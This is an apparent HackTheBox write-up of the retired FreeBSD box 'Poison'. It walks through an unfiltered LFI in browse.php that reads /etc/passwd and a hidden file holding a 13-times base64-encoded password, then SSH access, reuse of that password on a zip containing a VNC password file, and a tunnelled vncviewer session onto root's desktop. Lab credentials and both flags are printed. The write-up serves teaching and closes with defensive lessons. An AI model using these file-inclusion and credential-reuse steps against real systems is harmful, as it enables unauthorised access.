the_open_door
coffee
ESEN

Poison

HackTheBoxMediumFreeBSD10.129.73.347 min read

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#freebsd#lfi#information-disclosure#base64#credential-reuse#vnc#port-forwarding#vncviewer#php#oscp
TL;DR. Poison is a medium FreeBSD box. Port 80 serves a single-page site whose stated purpose is "testing local .php scripts": a form sends the filename to browse.php?file=, and that parameter is an unfiltered Local File Inclusion. With it we read /etc/passwd (the charix user shows up) and, by listing the directory, a pwdbackup.txt that brags about holding the password "encoded at least 13 times": thirteen layers of base64, and peeling them off gives charix's SSH password. Inside, the home holds a secret.zip that opens with that same password (credential reuse) and contains a binary file. netstat shows a VNC listening only on 127.0.0.1: we bring it over with an SSH tunnel and vncviewer -passwd secret walks straight into root's desktop.
About the evidence. Three captures are published: two browser ones (the test page and the phpinfo) and a mixed one, the vncviewer, whose right half is root's graphical desktop and therefore is not transcribed. The two browser captures come from a different session, when the box had IP 10.129.1.254; the commands carry the IP that produced them (10.129.73.34) and neither is rewritten. Both flags are published in full because the box is retired.

Reconnaissance#

Initial scan#

We start with a ping. Beyond confirming the box answers, the TTL (Time To Live) field of the reply hints at the operating system: every OS starts the TTL at a default value and every router decrements it by one per hop. Here it comes back as ttl=63, that is 64 minus one hop, pointing at a Unix-like system (a hint, not a proof, and on this box it falls short: it is not Linux, it is FreeBSD).


ping -c 1 10.129.73.34
64 bytes from 10.129.73.34: icmp_seq=1 ttl=63 time=24.3 ms

A full TCP scan of all 65535 ports leaves just two open.


sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.129.73.34 -oG scan
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-08 11:14 +0000
Initiating SYN Stealth Scan at 11:14
Scanning 10.129.73.34 [65535 ports]
Discovered open port 80/tcp on 10.129.73.34
Discovered open port 22/tcp on 10.129.73.34
Completed SYN Stealth Scan at 11:15, 25.86s elapsed (65535 total ports)
Nmap scan report for 10.129.73.34
Host is up, received user-set (0.026s latency).
Scanned at 2026-10-08 11:14:52 UTC for 26s
Not shown: 60512 filtered tcp ports (no-response), 5021 closed tcp ports (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 25.94 seconds
           Raw packets sent: 128627 (5.660MB) | Rcvd: 5023 (200.928KB)

On those two we ask for versions and default scripts, and here is what the TTL did not say: nmap's own Service Info identifies the system as FreeBSD, not Linux. Port 80 is an Apache 2.4.29 with PHP 5.6.32, a version already out of support back in 2018.


nmap -p22,80 -sCV 10.129.73.34 -oN targetedScan
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-08 11:15 +0000
Nmap scan report for 10.129.73.34
Host is up (0.023s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0)
| ssh-hostkey:
|   2048 e3:3b:7d:3c:8f:4b:8c:f9:cd:7f:d2:3a:ce:2d:ff:bb (RSA)
|   256 4c:e8:c6:02:bd:fc:83:ff:c9:80:01:54:7d:22:81:72 (ECDSA)
|_  256 0b:8f:d5:71:85:90:13:85:61:8b:eb:34:13:5f:94:3b (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((FreeBSD) PHP/5.6.32)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.29 (FreeBSD) PHP/5.6.32
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.37 seconds

whatweb confirms the same stack and adds the X-Powered-By header, which publishes the PHP version a second time.


whatweb http://10.129.73.34
http://10.129.73.34 [200 OK] Apache[2.4.29], Country[RESERVED][ZZ], HTTPServer[FreeBSD][Apache/2.4.29 (FreeBSD) PHP/5.6.32], IP[10.129.73.34], PHP[5.6.32], X-Powered-By[PHP/5.6.32]

Shell as charix#

LFI in the file parameter#

The front page does not even have a title (hence the Site doesn't have a title from nmap), and what it holds is a form with a Scriptname field. The text tells the whole story: "Temporary website to test local .php scripts", and it even lists which ones are there to test.

Poison's front page: "Temporary website to test local .php scripts", listing ini.php, info.php, listfiles.php and phpinfo.php, with a Scriptname field filled with phpinfo.php

On submit, the name travels in the URL as browse.php?file=phpinfo.php and the page returns the rendered phpinfo() inside its own. In other words, the parameter ends up in an include.

phpinfo served through browse.php?file=phpinfo.php: PHP Version 5.6.32 on FreeBSD Poison 11.1-RELEASE

A parameter like that gets tested with an absolute path that exists on any Unix. And there is no filter at all: /etc/passwd is included as-is. We pipe it through html2text to strip the surrounding HTML and through grep sh to keep the accounts with a real shell.


curl 'http://10.129.73.34/browse.php?file=/etc/passwd' | html2text | grep sh
  % Total    % Received % Xferd  Average Speed  Time    Time    Time   Current
                                 Dload  Upload  Total   Spent   Left   Speed
100   1894 100   1894   0      0  36795      0                              0
root:*:0:0:Charlie &:/root:/bin/csh toor:*:0:0:Bourne-again Superuser:/root:
share/man:/usr/sbin/nologin sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/
charix:*:1001:1001:charix:/home/charix:/bin/csh

Two facts come out of that: the system really is FreeBSD (root's default shell is /bin/csh, not bash) and there is a regular user, charix, with a home of his own.

listfiles.php: the whole directory#

The form names four scripts, but one of the four is listfiles.php, and that one returns the whole directory. We request it through the same LFI:


curl 'http://10.129.73.34/browse.php?file=listfiles.php' | html2text
  % Total    % Received % Xferd  Average Speed  Time    Time    Time   Current
                                 Dload  Upload  Total   Spent   Left   Speed
100    192 100    192   0      0   3699      0                              0
Array ( [0] => . [1] => .. [2] => browse.php [3] => index.php [4] => info.php
[5] => ini.php [6] => listfiles.php [7] => phpinfo.php [8] => pwdbackup.txt )

There is a ninth file the form does not list: pwdbackup.txt. And its contents come with instructions.


curl 'http://10.129.73.34/browse.php?file=pwdbackup.txt' | html2text
  % Total    % Received % Xferd  Average Speed  Time    Time    Time   Current
                                 Dload  Upload  Total   Spent   Left   Speed
100   1267 100   1267   0      0  27878      0                              0
This password is secure, it's encoded atleast 13 times.. what could go wrong
really..
Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVU
bGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBS
bVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVW
M040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRs
WmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYy
eG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01G
WkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYw
MXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVa
T1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5k
WFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZk
WGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0
NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZT
Vm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZz
WkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBW
VmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpO
Ukd4RVdub3dPVU5uUFQwSwo=

"This password is secure, it's encoded atleast 13 times.. what could go wrong really.." Encoding is not encrypting: base64 is reversible and carries no key, so thirteen layers are thirteen base64 -d in a row. The hint about the number is in the file itself, but you do not even need it: you chain decodings until the output stops looking like base64.


echo -n 'Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVU
bGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBS
bVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVW
M040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRs
WmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYy
eG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01G
WkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYw
MXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVa
T1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5k
WFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZk
WGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0
NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZT
Vm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZz
WkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBW
VmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpO
Ukd4RVdub3dPVU5uUFQwSwo=' | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d
Charix!2#4%6&8(0

Logging in over SSH with legacy algorithms#

The password belongs to charix, the user we saw in passwd. The detail in this connection is not the credential but the two -o flags: this box's OpenSSH 7.2 is old enough that it no longer shares any key-exchange or host-key algorithm with a modern client, so the old ones have to be re-enabled by hand.


sshpass -p 'Charix!2#4%6&8(0' ssh -o KexAlgorithms=+diffie-hellman-group1-sha1 -o HostKeyAlgorithms=+ssh-rsa charix@10.129.73.34
...
charix@Poison:~ % whoami
charix

The prompt ends in % rather than $: that is csh, FreeBSD's default shell.


cat user.txt
eaacdfb2d141b72a589233063604209c

Shell as root#

The zip in the home: password reuse#

First, a change of shell: csh does not understand sh syntax and everything that follows is more comfortable in a POSIX shell.


echo $SHELL
/bin/csh

sh

In charix's home, next to the flag, there is a file that should not be there:


ls
secret.zip      user.txt

Downloading it needs no scp: the box has PHP, and PHP ships its own web server.


php -S 0.0.0.0:8080
PHP 5.6.32 Development Server started at Thu Oct  8 16:01:00 2026
Listening on http://0.0.0.0:8080
Document root is /home/charix
Press Ctrl-C to quit.

wget http://10.129.73.34:8080/secret.zip
...
2026-10-08 14:01:46 (18.6 MB/s) - ‘secret.zip’ saved [166/166]

The zip asks for a password, and the one we already have works: it is charix's (credential reuse).


unzip secret.zip
Archive:  secret.zip
[secret.zip] secret password:
 extracting: secret

What comes out is not text:


cat secret
─────┬───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
     │ File: secret
─────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1 │ ��[|Ֆz!
─────┴───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

A handful of bytes the terminal cannot render. Keeping that around without knowing what it is for is normal; what tells us what it is for is the next step.

VNC - TCP 5801/5901 on localhost#

netstat -an lists the sockets. Besides 22 and 80, which we already knew about, there are two that only listen on 127.0.0.1 and that the external nmap therefore never saw: 5801 and 5901. Those two ports are the classic pair of a VNC server (5801 is its Java-over-HTTP interface and 5901 the RFB protocol of display :1).


netstat -an
Active Internet connections (including servers)
Proto Recv-Q Send-Q Local Address          Foreign Address        (state)
tcp4       0      0 10.129.73.34.22        10.10.15.120.42844     ESTABLISHED
tcp4       0      0 127.0.0.1.25           *.*                    LISTEN
tcp4       0      0 *.80                   *.*                    LISTEN
tcp6       0      0 *.80                   *.*                    LISTEN
tcp4       0      0 *.22                   *.*                    LISTEN
tcp6       0      0 *.22                   *.*                    LISTEN
tcp4       0      0 127.0.0.1.5801         *.*                    LISTEN
tcp4       0      0 127.0.0.1.5901         *.*                    LISTEN
udp4       0      0 *.514                  *.*
udp6       0      0 *.514                  *.*
...

A service bound to 127.0.0.1 is not unreachable: it is unreachable from outside. Since we already have SSH, we open a local tunnel: -L 5901:127.0.0.1:5901 makes port 5901 on our Kali come out the far end of the tunnel and connect to the box's 5901.


ssh -L 5901:127.0.0.1:5901 charix@10.129.73.34
...
charix@Poison:~ %

With the tunnel up, the remote service is scanned as if it were local. And it is, as far as nmap is concerned:


nmap -p5901 -sCV localhost
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-08 14:02 +0000
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000058s latency).
Other addresses for localhost (not scanned): ::1

PORT     STATE SERVICE VERSION
5901/tcp open  vnc     VNC (protocol 3.8)
| vnc-info:
|   Protocol version: 3.8
|   Security types:
|     VNC Authentication (2)
|     Tight (16)
|   Tight auth subtypes:
|_    STDV VNCAUTH_ (2)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.78 seconds

VNC Authentication, VNC's own scheme: the password does not travel in the clear, but it is not typed either. VNC stores it in a binary file obfuscated with a fixed, public DES key, and clients read it from there. That file is exactly what was inside the zip, and vncviewer takes it with -passwd (VNC password).


vncviewer localhost::5901 -passwd secret

vncviewer connects to RFB 3.8, authenticates with the secret file and opens the desktop "root's X desktop (Poison:1)"; inside the window, whoami returns root and cat root.txt the flag

Connected to RFB server, using protocol version 3.8
Enabling TightVNC protocol extensions
Performing standard VNC authentication
Authentication successful
Desktop name "root's X desktop (Poison:1)"
VNC server default format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Using default colormap which is TrueColor.  Pixel format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Same machine: preferring raw encoding

The desktop name says it outright: root's X desktop (Poison:1). The graphical session sitting there belonged to root, so the terminal that opens inside it is already root's, with no escalation at all. That is where the whoami and the flag are read:


whoami
cat root.txt
root@Poison:~ # whoami
root
root@Poison:~ # cat root.txt
716d04b188419cf2bb99d891272361f5

Box rooted.

Attack chain#

HTTP (80)  ─►  browse.php?file=  ─►  LFI sin filtro
  │  /etc/passwd  ─►  charix (/bin/csh)
  │  listfiles.php  ─►  pwdbackup.txt, que el formulario no lista
  ▼
pwdbackup.txt  ─►  13 capas de base64  ─►  Charix!2#4%6&8(0
  │  ssh charix (con KexAlgorithms y HostKeyAlgorithms antiguos)  ─►  user.txt
  ▼
secret.zip en el home  ─►  misma contrasena  ─►  fichero de password de VNC
  │  netstat: 5801 y 5901 solo en 127.0.0.1
  ▼
ssh -L 5901:127.0.0.1:5901  ─►  vncviewer -passwd secret  ─►  escritorio de root  ─►  root.txt

Lessons learned#

  • Encoding is not encrypting. Thirteen layers of base64 are thirteen commands, not a cryptographic problem: base64 is reversible and carries no key. The file even bragged about the number of layers. If a password has to be stored, it goes in a password manager, not in a repeated echo | base64.
  • An include fed by a user parameter is the whole box. The site was born to "test local scripts" and that development convenience is a direct LFI. The defence is not filtering ../, it is not building the path from what the client sends: an allow-list of permitted files, full stop.
  • What is not on the list is still in the directory. The form named four scripts and the directory had nine entries. listfiles.php did not even need guessing: it was on the list and it returned everything else.
  • The same password opened two different things. charix's worked for SSH and for the zip. Reusing a credential between a service and a personal file turns one finding into two.
  • Binding a service to 127.0.0.1 hides it from the scanner, not from the attacker. The VNC did not show up in the external nmap, but with a shell on the box an SSH -L puts it one port away. Network isolation is a layer, not the only one.
  • A VNC with a root session already open needs no escalation. The password sat in an unprivileged user's home and the desktop it unlocked was root's. Nothing failed at the permission level: what failed was leaving a privileged graphical session running with its key within anyone's reach.
Command cheatsheet 14 commands

Quick review